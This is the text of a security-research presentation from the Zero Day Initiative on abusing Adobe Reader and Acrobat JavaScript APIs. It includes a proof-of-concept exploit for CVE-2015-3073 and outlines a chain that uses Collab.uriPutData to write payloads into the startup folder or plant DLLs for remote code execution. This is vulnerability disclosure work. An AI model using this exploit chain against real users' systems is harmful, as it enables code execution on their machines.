Abusing Adobe Reader’s JavaScript APIs

Brian Gorenc, Manager, Vulnerability Research
AbdulAziz Hariri, Security Researcher
Jasiel Spelman, Security Researcher
Agenda

• Introduction
• Understanding the Attack Surface
• Vulnerability Discovery
• Constructing the Exploit
Introduction
Introduction
HP Zero Day Initiative

AbdulAziz Hariri - @abdhariri
Security Researcher at the Zero Day Initiative
Root cause analysis, vulnerability discovery, and exploit development

Jasiel Spelman - @WanderingGlitch
Security Researcher at the Zero Day Initiative
Root cause analysis, vulnerability discovery, and exploit development

Brian Gorenc - @maliciousinput
Head of Zero Day Initiative
Organizer of Pwn2Own Hacking Competitions
Bug Hunters
Research starting in December 2014

**Patched Vulnerabilities**

**Unpatched Vulnerabilities**

…more to come.
Understanding the Attack Surface
Understanding Attack Surface

Prior research and resources

- The life of an Adobe Reader JavaScript bug (CVE-2014-0521) - Gábor Molnár
  - First to highlight the JS API bypass issue
  - The bug was patched in APSB14-15 and was assigned CVE-2014-0521
  - According to Adobe, this **could** lead to information disclosure

- Why Bother Assessing Popular Software? – MWR Labs
  - Highlights various attack vectors on Adobe reader
  - [https://labs.mwrinfosecurity.com/system/assets/979/original/Why_bother_assessing_popular_software.pdf](https://labs.mwrinfosecurity.com/system/assets/979/original/Why_bother_assessing_popular_software.pdf)
Understanding Attack Surface

ZDI Research Stats

• Primary Adobe research started internally in December 2014
• We were not getting many cases in Reader/Acrobat
• Main goal was to kill as much bugs as possible
• Internal discoveries varied in bug type
  – JavaScript API Restriction Bypasses
  – Memory Leaks
  – Use-After-Frees
  – Elevation of Privileges
  – etc.
Understanding Attack Surface

Insights Into Reader’s JavaScript API's

- Adobe Acrobat/Reader exposes a rich JS API
- JavaScript API documentation is available on the Adobe website
- A lot can be done through the JavaScript API (Forms, Annotations, Collaboration etc..)
- Mitigations exist for the JavaScript APIs
- Some API's defined in the documentation are only available in Acrobat Pro/Acrobat standard
- Basically JavaScript API's are executed in two contexts:
  - Privileged Context – Only Trusted functions can call it (app.trustedFunction)
  - Non-Privileged Context
Understanding Attack Surface
Insights Into Reader’s JavaScript API’s

• Privileged vs Non-Privileged contexts are defined in the JS API documentation:

Privileged versus non-privileged context

Some JavaScript methods, marked by an S in the third column of the quick bar, have security restrictions. These methods can be executed only in a privileged context, which includes console, batch and application initialization events. All other events (for example, page open and mouse-up events) are considered non-privileged.

• A lot of API’s are privileged and cannot be executed from non-privileged contexts:

launchURL

7.0 S

Launches a URL in a browser window.

Note: Beginning with Acrobat 8.1, File and JavaScript URLs can be executed only when operating in a privileged context, such as during a batch or console event. File and JavaScript URLs begin with the scheme names javascript or file.
Understanding Attack Surface
Insights Into Reader’s JavaScript API’s

- Privileged API’s warning example from a non-privileged context:
Understanding Attack Surface

Folder-Level Scripts

- Scripts stored in the JavaScript folder inside the Acrobat/Reader folder
- Used to implement functions for automation purposes
- Contains Trusted functions that execute privileged API’s
- By default Acrobat/Reader ships with JSByteCodeWin.bin
- JSByteCodeWin.bin is loaded when Acrobat/Reader starts up
- It’s loaded inside Root, and exposed to the Doc when a document is open
Understanding Attack Surface

Decompiling

• JSByteCodeWin.bin is compiled into SpiderMoney 1.8 XDR bytecode
• JSByteCodeWin.bin contains interesting **Trusted** functions
• Molnarg was kind enough to publish a decompiler for SpiderMonkey
  – [https://github.com/molnarg/dead0007](https://github.com/molnarg/dead0007)
  – Usage: ./dead0007 JSByteCodeWin.bin > output.js
  – Output needs to be prettified
  – ~27,000 lines of Javascript

```javascript
function ColorConvert(oColor, cColors) {
    var oOut = oColor;
    switch (cColors) {
        case "C":
            if (oColor[0] == "RGB") {
                oOut = new Array("C", 0.3 * oColor[1] + 0.59 * oColor[2] + 0.11 * oColor[3]);
            } else if (oColor[0] == "CMYK") {
                oOut = new Array("C", 1 - Math.min(1, 0.3 * oColor[1] + 0.59 * oColor[2] + 0.11 * oColor[3] + oColor[4]));
            }
            break;
        case "RGB":
            oOut = new Array("RGB", 0.3 * oColor[1] + 0.59 * oColor[2] + 0.11 * oColor[3]);
    }
}
```
Vulnerability Discovery
Vulnerability Discovery

JavaScript Method/Property Overloading

- `__defineGetter__` and `__defineSetter__`

```javascript
object.__defineGetter__("attribute", function() { return "newvalue"; })
```
Vulnerability Discovery
JavaScript Method/Property Overloading

• __proto__

```javascript
var old_object = object
object = { "attribute" : "newvalue" }
object.__proto__ = old_object
```
Vulnerability Discovery

Code Auditing for Overloading Opportunities

• Search for ‘eval’

```javascript
$ grep 'eval(' JSByteCodeWin_pretty.js
year = 1 * nums[eval(longEntry.charAt(0))];
date = AFDateFromYMD(year, nums[eval(longEntry.charAt(1))]) - 1, nums[eval(longEntry.charAt(2))]);
    year = 1 * nums[eval(wordMonthEntry.charAt(0))];
date = AFDateFromYMD(year, month - 1, nums[eval(wordMonthEntry.charAt(1))]);
    year = 1 * nums[eval(monthYearEntry.charAt(0))];
date = AFDateFromYMD(year, nums[eval(monthYearEntry.charAt(1))]) - 1, 1);
date = AFDateFromYMD(date.getFullYear(), nums[eval(shortEntry.charAt(0))]) - 1, nums[eval(shortEntry.charAt(1))]);
    return eval(this.conn.stmt.getColumn("CONTENTS").value);
    return eval(this.discussions[this.index++].Text);
    desc[bid] = eval("(function(dialog) { dialog.end(" + bid + "); })");
    if (!eval("{canDoWorkflow}")) {
        eval(script);
        if (!eval("{canDoWorkflowAPR}")) {
            eval(script);
                return eval(s);
```
Vulnerability Discovery

Code Auditing for Overloading Opportunities

• Search for ‘app.beginPriv("
Vulnerability Discovery

Achieving System-Level eval()

• Overload property access with a custom function

```javascript
function AFParseDate(string, longEntry, shortEntry, wordMonthEntry, monthYearEntry) {
    var nums;
    var year, month;
    var date;
    var info = AFExtractTime(string);
    if (!string) { return new Date; }
    if (info) { string = info[0]; }
    date = new Date;
    nums = AFExtractNums(string);
    if (!nums) { return null; }
    if (nums.length == 3) {
        year = 1 * nums[eval(longEntry.charAt(0))];
    }
}
```
Vulnerability Discovery

Executing Privileged APIs

- Replace a property with a privileged function

```javascript
CBSharedReviewSecurityDialog = app.trustedFunction(function(cReviewID, cSourceURL, doc) {
  try {
    var url = util.crackURL(cSourceURL);
    var hostFQHN;
    app.beginPriv();
    var bIsAcrobatDotCom = Collab.isDocCenterURL(cSourceURL);
  }
});
```
Vulnerability Discovery

Vulnerability Chaining

• Set up the system-level eval such that it executes the bulk of the payload
• Create the replacement attribute such that it now calls a privileged API
• Trigger the call
Vulnerability Discovery

Proof of Concept – CVE-2015-3073

```javascript
function exploit() {
    var _url = "http://www.google.com/";
    var obj = {};
    obj.__defineGetter__("attr", function() {
        Collab = {"isDocCenterURL":app.launchURL}
        Collab.__proto__ = app;

        return _url;
    });

    try{
        CBSharedReviewSecurityDialog(1, obj["attr"], "A");
    } catch(e) { app.alert(e); }
}

o = {"charAt":function(x){return exploit.toString() + "exploit();"}}
var ret = AFParseDate("1:1:1:1:1:1", o, o, o, o, o);
```
Constructing the Exploit
Constructing the exploit

Overview

• Research triggered from https://helpx.adobe.com/security/products/reader/apsb14-15.html:

  These updates resolve a vulnerability in the implementation of Javascript APIs that could lead to information disclosure (CVE-2014-0521).

• Challenge: Gain Remote Code Execution through the bypass issue
• We might be able to do that through the JS API’s that we know about
Constructing the exploit
Because documentation sucks..

- We needed to find a way to dump a file on disk
- The file can be of any type (try to avoid restrictions)
- Let's have a look at the Collab object...through the JS API from Adobe:

```
Collab methods
addStateModel
documentToStream
removeStateModel
```

- Through the console:

```
var count=0;for(var i in Collab) if(typeof(Collab[i]) == 'function') {count++;
```
Constructing the exploit

“If you want to keep a secret, you must also hide it from yourself.” – G. Orwell

• From all the 128 undocumented methods, the Collab.uri* family is specifically interesting:

```bash
browseForFolder
convertMappedDrivePathToSMBURL
mountSMBURL
uriEncode
uriNormalize
uriConvertReviewSource
uriToDIPath
uriCreateFolder
uriDeleteFolder
uriPutData
uriEnumerateFiles
uriDeleteFile
isPathWritable
stringToUTF8
launchHelpViewer
swConnect
swSendVerifyEmail
swAcceptTOU
```
Constructing the exploit

“The more you leave out, the more you highlight what you leave in.” - H. Green

• Too good to be true, so I consulted uncle Google before digging more:

Google: Collab.uriPutData

Did you mean: Collab.uri GetData

Threat Modelling Adobe PDF - Defense Technical ...
www.dtic.mil/cgi-bin/GetTRDoc?AD=ADA583327 -
by R Branda - 2012 - Related articles
vulnerability is described in [13] in which a call to Collab.getIcon causes a stack overflow. Under this and similar JavaScript vulnerabilities a certain argument is ...

staticadobe.py ←
tldr-nyc.github.io/expdev/2015/02/26/staticadobe/ -
Feb 26, 2015 - ... Member "cMsg" Object "Collab" Member "addAnnotStore" Member .... Member "uriNormalize" Member "uriPutData" Member "uriToDIPath" ...
Constructing the exploit
Show me what you got...

- Quick overview of the interesting methods:

```javascript
Collab.uriPutData(acrohelp);
Collab.uriPutData:1:Console undefined:Exec
====> cFileURI: string
====> oData: object

Collab.uriDeleteFolder(acrohelp);
Collab.uriDeleteFolder:1:Console undefined:Exec
====> cFolderURI: string

Collab.uriCreateFolder(acrohelp);
Collab.uriCreateFolder:1:Console undefined:Exec
====> cFolderURI: string

Collab.uriEnumerateFiles(acrohelp);
Collab.uriEnumerateFiles:1:Console undefined:Exec
====> cFolderURI: string

Collab.uriDeleteFile(acrohelp);
Collab.uriDeleteFile:1:Console undefined:Exec
====> cFileURI: string
```
Constructing the exploit

• Overview of the Collab.uri* API's:
  – The API's are used for “Collaboration”
  – uriDeleteFolder/uriDeleteFile/uriPutData/uriCreateFolder are privileged API's
  – uriEnumerateFiles is NOT privileged
  – The Collab.uri* methods take a URI path as an argument (at least)
  – The path expected should be a UNC path
  – The UNC path should start with smb:// or file://

• The API's fail to:
  – Sanitize the UNC path (smb://localhost/C$/XXX works)
  – Check the filetype of the filename to be written on disk (in the case of uriPutData)
  – Check the content of oData object to be dumped (in the case of uriPutData)
Constructing the exploit

- What we have so far:
  - We can dump files on disk using the Collab.uriPutData() method
  - The file contents that we want to dump should be passed as the oData object
  - We can attach files in PDF documents and extract the contents
  - We should chain the uriPutData call with one of the bypasses that we discussed earlier

Then what? How can we get RCE? Actually there are two obvious ways..
Constructing the exploit

Gaining RCE

• First way...a la Vupen:

![Twitter](https://twitter.com/cBekrar/status/628680381720810880)

#Pwn2Own 2015 is a joke: reduced prices but raised difficulties (64bit apps, EMET, sandboxes, no logoff/logon, etc). Let’s wait for 2016...

Basically write a file to the startup and wait for a logoff/logon 😊

• Second way is writing a DLL that would be loaded by Adobe Acrobat:

```
11:15:.... Acrobat.exe  2636 CreateFile C:\Program Files\Adobe\Acrobat 11.0\Acrobat\updatemottonfictions.dll
NAME NOT FOUND Desired Access: R...
11:15:.... Acrobat.exe  2636 CreateFile C:\Users\ZD\Desktop\updatemottonfictions.dll
NAME NOT FOUND Desired Access: R...
```
Constructing the exploit

Putting it all together (Adobe Acrobat Pro)

1. Attach our payload to the PDF
2. Create a JS that would execute when the document is open
3. JS is composed of:
   1. Extraction of the attachment
   2. Bypass JS privileges
   3. Execute Collab.uriPutData to output our payload (startup/dll)
Constructing the exploit
Putting it all together (Adobe Acrobat Pro)
Thank you